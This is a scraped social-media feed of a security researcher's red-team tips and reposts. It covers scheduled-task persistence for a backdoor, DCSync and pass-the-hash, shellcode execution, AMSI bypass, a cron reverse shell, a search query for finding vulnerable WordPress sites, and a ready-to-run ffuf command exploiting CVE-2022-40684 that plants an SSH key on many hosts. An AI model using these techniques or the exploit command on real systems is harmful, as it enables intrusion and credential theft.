cyb3rkh4l1d's profile picture. Professional@( AppSec | ApiSec | NetSec | OffSec | InfoSec ).
Enthusiast@(Robotics | MicroServices ).

Khalid Maina

@cyb3rkh4l1d

Professional@( AppSec | ApiSec | NetSec | OffSec | InfoSec ). Enthusiast@(Robotics | MicroServices ).

Khalid Maina reposted

The $5 Membership sale is now live! The sale lasts until July 17 23:59 UTC: account.shodan.io/billing/member


Khalid Maina reposted

#CVE-2023-2982 #WordPress Social Login and Register authentication bypass🚩 FOFA Query: body="/wp-content/plugins/miniorange-login-openid" Link: enbeta.fofa.info/result?qbase64… Refer: lana.codes/lanavdb/2326f4… #cybersecurity #infosec #OSINT #FOFA #ThreatIntelligence

fofabot's tweet image. #CVE-2023-2982 #WordPress Social Login and Register authentication bypass🚩

FOFA Query: body="/wp-content/plugins/miniorange-login-openid"

Link: enbeta.fofa.info/result?qbase64…

Refer: lana.codes/lanavdb/2326f4…

#cybersecurity #infosec #OSINT #FOFA #ThreatIntelligence

Khalid Maina reposted

Platforms To Learn Cybersecurity #Cybersecurity #infosec #education #Hacked #Hacking #BugBounty

SecurityTrybe's tweet image. Platforms To Learn Cybersecurity 

#Cybersecurity #infosec #education #Hacked #Hacking #BugBounty

-> Establish persistence using schtasks. -> This will create a scheduled task to spawn backdoor.exe at 11:30. #infosec #cybersecuritytips #redteam

cyb3rkh4l1d's tweet image. -> Establish persistence using schtasks.
-> This will create a scheduled task to spawn backdoor.exe at 11:30.
#infosec #cybersecuritytips #redteam

Another hit🔥 Tips: After removing the invited user, try to use the invitation link sent to the user. #bugbountytips #hackerone #infosec

cyb3rkh4l1d's tweet image. Another hit🔥

Tips: After removing the invited user, try to use the invitation link sent to the user.

#bugbountytips #hackerone #infosec
cyb3rkh4l1d's tweet image. Another hit🔥

Tips: After removing the invited user, try to use the invitation link sent to the user.

#bugbountytips #hackerone #infosec

The path is clear -> If you have GenericAll on a group, you can add yourself to the group -> If you have WriteDacl on a domain, You can execute Dcsync Attack to retrieve Account hashes. ->If you have hashes, you can execute Pass-The-Hash attack to gain access Simple #infosec

cyb3rkh4l1d's tweet image. The path is clear

-> If you have GenericAll on a group, you can add yourself to the group
-> If you have WriteDacl on a domain, You can execute Dcsync Attack to retrieve Account hashes.
->If you have hashes, you can execute Pass-The-Hash attack to gain access

Simple

#infosec
cyb3rkh4l1d's tweet image. The path is clear

-> If you have GenericAll on a group, you can add yourself to the group
-> If you have WriteDacl on a domain, You can execute Dcsync Attack to retrieve Account hashes.
->If you have hashes, you can execute Pass-The-Hash attack to gain access

Simple

#infosec

This is possible because any machine account with SERVER_TRUST_ACCOUNT flag set will have the Replications right. cyberkhalid.github.io/posts/machuser/

cyb3rkh4l1d's tweet image. This is possible because any machine account with SERVER_TRUST_ACCOUNT flag set will have the Replications right.

cyberkhalid.github.io/posts/machuser/
cyb3rkh4l1d's tweet image. This is possible because any machine account with SERVER_TRUST_ACCOUNT flag set will have the Replications right.

cyberkhalid.github.io/posts/machuser/
cyb3rkh4l1d's tweet image. This is possible because any machine account with SERVER_TRUST_ACCOUNT flag set will have the Replications right.

cyberkhalid.github.io/posts/machuser/
cyb3rkh4l1d's tweet image. This is possible because any machine account with SERVER_TRUST_ACCOUNT flag set will have the Replications right.

cyberkhalid.github.io/posts/machuser/

Shellcode will be executed by calling EnumPageFilesW() function with the pCallBackRoutine parameter set to the base address of the shellcode. #cybersecurity #infosec #redteaming #pentesting

cyb3rkh4l1d's tweet image. Shellcode will be executed by calling EnumPageFilesW() function with the pCallBackRoutine parameter set to the base address of the shellcode.

#cybersecurity #infosec #redteaming #pentesting
cyb3rkh4l1d's tweet image. Shellcode will be executed by calling EnumPageFilesW() function with the pCallBackRoutine parameter set to the base address of the shellcode.

#cybersecurity #infosec #redteaming #pentesting
cyb3rkh4l1d's tweet image. Shellcode will be executed by calling EnumPageFilesW() function with the pCallBackRoutine parameter set to the base address of the shellcode.

#cybersecurity #infosec #redteaming #pentesting
cyb3rkh4l1d's tweet image. Shellcode will be executed by calling EnumPageFilesW() function with the pCallBackRoutine parameter set to the base address of the shellcode.

#cybersecurity #infosec #redteaming #pentesting

Khalid Maina reposted

CVE-2022-42983 anji-plus AJ-Report 0.9.8.6 allows remote attackers to bypass login authentication by spoofing JWT Tokens. cve.mitre.org/cgi-bin/cvenam…


Malware can use CreateThread() function from kernel32.dll library to execute a shellcode. #cybersecurity #infosec #offsec #redteaming #pentesting #windows

cyb3rkh4l1d's tweet image. Malware can use CreateThread() function from kernel32.dll library to execute a shellcode.

#cybersecurity #infosec #offsec #redteaming #pentesting #windows
cyb3rkh4l1d's tweet image. Malware can use CreateThread() function from kernel32.dll library to execute a shellcode.

#cybersecurity #infosec #offsec #redteaming #pentesting #windows
cyb3rkh4l1d's tweet image. Malware can use CreateThread() function from kernel32.dll library to execute a shellcode.

#cybersecurity #infosec #offsec #redteaming #pentesting #windows
cyb3rkh4l1d's tweet image. Malware can use CreateThread() function from kernel32.dll library to execute a shellcode.

#cybersecurity #infosec #offsec #redteaming #pentesting #windows

Khalid Maina reposted

CVE-2022-40684 ffuf -w "host_list.txt:URL" -u "https://URL/api/v2/cmdb/system/admin/admin" -X PUT -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H 'Forwarded: for="[127.0.0.1]:8000";by=”[127.0.0.1]:9000";' -d '{"ssh-public-key1": "h4x0r"}' -mr "SSH" -r

h4x0r_dz's tweet image. CVE-2022-40684

ffuf -w "host_list.txt:URL" -u "https://URL/api/v2/cmdb/system/admin/admin" -X PUT -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H 'Forwarded: for="[127.0.0.1]:8000";by=”[127.0.0.1]:9000";' -d '{"ssh-public-key1": "h4x0r"}' -mr "SSH" -r

If the server implicitly trusts the Host header, and fails to validate or escape it properly, an attacker may be able to use this input to inject harmful payloads that manipulate server-side behavior. This could lead to authentication bypass. cyberkhalid.github.io/posts/hheada/ #infosec

cyb3rkh4l1d's tweet image. If the server implicitly trusts the Host header, and fails to validate or escape it properly, an attacker may be able to use this input to inject harmful payloads that manipulate server-side behavior. This could lead to authentication bypass.

cyberkhalid.github.io/posts/hheada/

#infosec
cyb3rkh4l1d's tweet image. If the server implicitly trusts the Host header, and fails to validate or escape it properly, an attacker may be able to use this input to inject harmful payloads that manipulate server-side behavior. This could lead to authentication bypass.

cyberkhalid.github.io/posts/hheada/

#infosec
cyb3rkh4l1d's tweet image. If the server implicitly trusts the Host header, and fails to validate or escape it properly, an attacker may be able to use this input to inject harmful payloads that manipulate server-side behavior. This could lead to authentication bypass.

cyberkhalid.github.io/posts/hheada/

#infosec

Pass the Ticket(Ptt) is a credential theft technique that enables adversaries to use stolen Kerberos tickets to authenticate to resources (e.g., file shares and other computers) as a user without having to compromise that user’s password. cyberkhalid.github.io/posts/ptt/ #cybersecurity

cyb3rkh4l1d's tweet image. Pass the Ticket(Ptt) is a credential theft technique that enables adversaries to use stolen Kerberos tickets to authenticate to resources (e.g., file shares and other computers) as a user without having to compromise that user’s password.

cyberkhalid.github.io/posts/ptt/

#cybersecurity
cyb3rkh4l1d's tweet image. Pass the Ticket(Ptt) is a credential theft technique that enables adversaries to use stolen Kerberos tickets to authenticate to resources (e.g., file shares and other computers) as a user without having to compromise that user’s password.

cyberkhalid.github.io/posts/ptt/

#cybersecurity
cyb3rkh4l1d's tweet image. Pass the Ticket(Ptt) is a credential theft technique that enables adversaries to use stolen Kerberos tickets to authenticate to resources (e.g., file shares and other computers) as a user without having to compromise that user’s password.

cyberkhalid.github.io/posts/ptt/

#cybersecurity

Since AmsiScanBuffer() function is responsible for checking the inputs for malicious content, We can modify the function to always return 0 regardless of whether or not the input is malicious. Since returning 0 simply means the function successfully scanned the inputs.

cyb3rkh4l1d's tweet image. Since AmsiScanBuffer() function is responsible for checking the inputs for malicious content, We can modify the function to always return 0 regardless of whether or not the input is malicious. Since returning 0 simply means the function successfully scanned the inputs.
cyb3rkh4l1d's tweet image. Since AmsiScanBuffer() function is responsible for checking the inputs for malicious content, We can modify the function to always return 0 regardless of whether or not the input is malicious. Since returning 0 simply means the function successfully scanned the inputs.
cyb3rkh4l1d's tweet image. Since AmsiScanBuffer() function is responsible for checking the inputs for malicious content, We can modify the function to always return 0 regardless of whether or not the input is malicious. Since returning 0 simply means the function successfully scanned the inputs.
cyb3rkh4l1d's tweet image. Since AmsiScanBuffer() function is responsible for checking the inputs for malicious content, We can modify the function to always return 0 regardless of whether or not the input is malicious. Since returning 0 simply means the function successfully scanned the inputs.

Once you got root access on any host, you can add any scheduled task. You could even just configure a task where every minute a reverse shell is sent to you. cyberkhalid.github.io/posts/pcron/ #redteam #cybersecurity #infosec

cyb3rkh4l1d's tweet image. Once you got root access on any host, you can add any scheduled task. You could even just configure a task where every minute a reverse shell is sent to you. 

cyberkhalid.github.io/posts/pcron/

#redteam #cybersecurity #infosec
cyb3rkh4l1d's tweet image. Once you got root access on any host, you can add any scheduled task. You could even just configure a task where every minute a reverse shell is sent to you. 

cyberkhalid.github.io/posts/pcron/

#redteam #cybersecurity #infosec
cyb3rkh4l1d's tweet image. Once you got root access on any host, you can add any scheduled task. You could even just configure a task where every minute a reverse shell is sent to you. 

cyberkhalid.github.io/posts/pcron/

#redteam #cybersecurity #infosec
cyb3rkh4l1d's tweet image. Once you got root access on any host, you can add any scheduled task. You could even just configure a task where every minute a reverse shell is sent to you. 

cyberkhalid.github.io/posts/pcron/

#redteam #cybersecurity #infosec

If we can change the configuration of a service, and at thesame time we can stop/start the service , then we can achieve Privilege Escalation if the service runs with a higher privileges. cyberkhalid.github.io/posts/winprivs… #cybersecurity #infosec #redteam #windows

cyb3rkh4l1d's tweet image. If we can change the configuration of a service, and at thesame time we can stop/start the service , then we can achieve Privilege Escalation if the service runs with a higher privileges.

cyberkhalid.github.io/posts/winprivs…

#cybersecurity #infosec #redteam #windows
cyb3rkh4l1d's tweet image. If we can change the configuration of a service, and at thesame time we can stop/start the service , then we can achieve Privilege Escalation if the service runs with a higher privileges.

cyberkhalid.github.io/posts/winprivs…

#cybersecurity #infosec #redteam #windows
cyb3rkh4l1d's tweet image. If we can change the configuration of a service, and at thesame time we can stop/start the service , then we can achieve Privilege Escalation if the service runs with a higher privileges.

cyberkhalid.github.io/posts/winprivs…

#cybersecurity #infosec #redteam #windows
cyb3rkh4l1d's tweet image. If we can change the configuration of a service, and at thesame time we can stop/start the service , then we can achieve Privilege Escalation if the service runs with a higher privileges.

cyberkhalid.github.io/posts/winprivs…

#cybersecurity #infosec #redteam #windows

Adversaries may leverage the Windows CreateThread function from Kernel32.dll to execute a malicious code within the virtual address space of the calling process. cyberkhalid.github.io/posts/createth… #cybersecurity #infosec #redteam #windows

cyb3rkh4l1d's tweet image. Adversaries may leverage the Windows CreateThread function from Kernel32.dll to execute a malicious code within the virtual address space of the calling process.

cyberkhalid.github.io/posts/createth…

#cybersecurity #infosec #redteam  #windows
cyb3rkh4l1d's tweet image. Adversaries may leverage the Windows CreateThread function from Kernel32.dll to execute a malicious code within the virtual address space of the calling process.

cyberkhalid.github.io/posts/createth…

#cybersecurity #infosec #redteam  #windows
cyb3rkh4l1d's tweet image. Adversaries may leverage the Windows CreateThread function from Kernel32.dll to execute a malicious code within the virtual address space of the calling process.

cyberkhalid.github.io/posts/createth…

#cybersecurity #infosec #redteam  #windows
cyb3rkh4l1d's tweet image. Adversaries may leverage the Windows CreateThread function from Kernel32.dll to execute a malicious code within the virtual address space of the calling process.

cyberkhalid.github.io/posts/createth…

#cybersecurity #infosec #redteam  #windows

If attacker is able to manipulate the ACL for AdminSDHolder, then those ACL will automatically be applied to all protected objects. #cybersecurity #infosec #pentesting #redteam #windows #activedirectory

cyb3rkh4l1d's tweet image. If attacker is able to manipulate the ACL for AdminSDHolder, then those ACL will automatically be applied to all protected objects.

#cybersecurity #infosec #pentesting #redteam #windows #activedirectory
cyb3rkh4l1d's tweet image. If attacker is able to manipulate the ACL for AdminSDHolder, then those ACL will automatically be applied to all protected objects.

#cybersecurity #infosec #pentesting #redteam #windows #activedirectory
cyb3rkh4l1d's tweet image. If attacker is able to manipulate the ACL for AdminSDHolder, then those ACL will automatically be applied to all protected objects.

#cybersecurity #infosec #pentesting #redteam #windows #activedirectory
cyb3rkh4l1d's tweet image. If attacker is able to manipulate the ACL for AdminSDHolder, then those ACL will automatically be applied to all protected objects.

#cybersecurity #infosec #pentesting #redteam #windows #activedirectory

Loading...

Something went wrong.


Something went wrong.